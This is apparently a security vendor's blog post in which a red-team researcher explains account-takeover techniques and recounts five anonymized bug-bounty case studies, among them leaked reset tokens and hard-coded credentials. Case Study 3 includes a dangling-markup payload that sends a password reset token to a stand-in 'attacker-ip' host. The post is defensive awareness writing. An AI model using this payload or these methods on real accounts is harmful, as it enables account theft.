scroll it
synack-exploits-explained-blog-series-image-no-text

Account Takeovers:  Believe the Unbelievable

Nikhil Srivastava
0% read

Nikhil Srivastava is a Synack Red Team legend and co-founder of Bsides Ahmedabad.

An Account Takeover (ATO) is an attack whereby attackers take ownership of online accounts using several methods. It is unfortunately more common than you’d think, despite all the warnings to create complex passwords, avoid phishing emails and use multi-factor authentication.

Recent research shows 1 in 5 adults have suffered from an account takeover with  average financial losses of approximately $12,000. Further, PerimeterX reported that 75 to 85% of all attempted logins in the second half of 2020 were account takeover attempts. 

The Digital Shadows Research Team exposed an even more concerning statistic: more than 24 billion account usernames and passwords are available for purchase on the dark web. In some cases, purchasing credentials isn’t necessary, as year after year, the most common password is 123456, appearing in one out of every 200 passwords. 

Now that we know just how common ATOs are, let’s review some of the tactics, techniques and procedures (TTPs) used in such attacks.

Account Takeover Methodologies

  • Change Email/Password CSRFThe simplest ATO employs phishing. An attacker sends a link to the victim, and when the unsuspecting user clicks on the link, the victim’s email/password will be changed and the attacker can take over their account.
  • OAuth CSRFConsider a website that allows users to log in using either a classic, password-based mechanism or by linking their account to a social media profile using OAuth. In this case, if the application fails to use the state parameter, an attacker could potentially hijack a user’s account on the client application by binding it to their own social media account.
  • Default/Weak Credentials – Most products have their own default credentials for things like servers, routers, and Virtual Network Computing (VNC) that sometimes do not get changed. Many applications lack a strong password policy and will allow users to set weak passwords such as 123456.
  • Forgot your password? – Sometimes “forget password” implementations can be vulnerable to password reset token leaks, HTTP leaks, bypassing poor security questions, Host header injection or HTTP Parameter Pollution attacks. 
  • Credential Stuffing – In this method, attackers use lists of compromised user credentials to breach a system. Bots can be deployed for automation and scale, based on the assumption that many users reuse usernames and passwords across multiple services.

Examples of Account Takeovers

Here are five anonymized ATO case studies from a variety of industries, including healthcare, software, government and commerce. 

Case Study 1 

In the case of an American chain restaurant, I used trufflehog, a Python search tool, to review the target. While scanning the application, it produced an alert of hard-coded, JavaScript credentials. Browsing the JavaScript, I found some UPS credentials had been hard coded, as shown in the screenshot below.

Using these credentials, I was able to login into their UPS account as an admin which granted me access to sensitive information and control over their shipments.

Case Study 2

Another ATO was for a collaboration software application. While resetting the password for an admin account, I found that the application leaked their password reset token in response, as shown in the screenshot below.

Using this token, I was able to reset the admin password. Sometimes, it really is that simple. 

Case Study 3

This is a case study of a product from a medical equipment company. I tested the whole application without getting any vulnerabilities and at the end decided to check the forget password flow. While requesting the password reset token, the application sent the following request that revealed a path for me to exploit.

I used a Dangling Markup such as <img src=”http://attacker-ip/?id= in the email body before the reset link and sent it to the user. Now as soon as the user opens the email, their password reset token will be sent to me instead.

Case Study 4

The scope of this target was a wildcard and unauthenticated testing only, so I first did some reconnaissance. I found an interesting subdomain that asked for a DVN ID and password to login.

I searched about DVN IDs in help articles, and I found out it’s a 9-digit number assigned to all vendors at the time of licensing.

I did Google searches but didn’t come up with this particular ID. I ended up looking at Google images results in hope that licensing could have been done with paper and could have this ID number included.

Cool, I was correct! Licensing was done on paper and I got a couple of valid DVN IDs in the subject of letters, such as: 

Now that I had this ID, I tried brute-forcing to get a password. When that turned up nothing, I retested the “forget password” flow. It asked for the DVN ID first before resetting the password. I found that the application used two requests for resetting the password. One for querying the password for DVN ID and another one sending a newly generated password to their email ID inside the request itself.

So, this disclosed not only their password but emails too. Using the newly generated password, I was able to login into their account.

Case Study 5 

I was scanning targets for an American food and beverage company when I came across an event application. The application asked for a valid user email to login, and those company emails were whitelisted. I tried with my name@companydomain at first to see the error message and I found the following.

I noticed an email for support was given at the bottom of the page to reach out for any trouble. I thought: Why not attempt it? I entered some information and found the following screen:

The application asked to set the password, and after setting up a password, I was able to login as admin:

Further, while checking the attendee directory, I found multiple accounts that could’ve been taken over using the same method.

Conclusion 

It’s hard to believe that someone with little to no technical experience could gain the level of access that I did, but you should! Account takeovers can be complex, but they can also be relatively simple. All it takes is a bit of creativity and motivation, and just about anyone can login as an admin.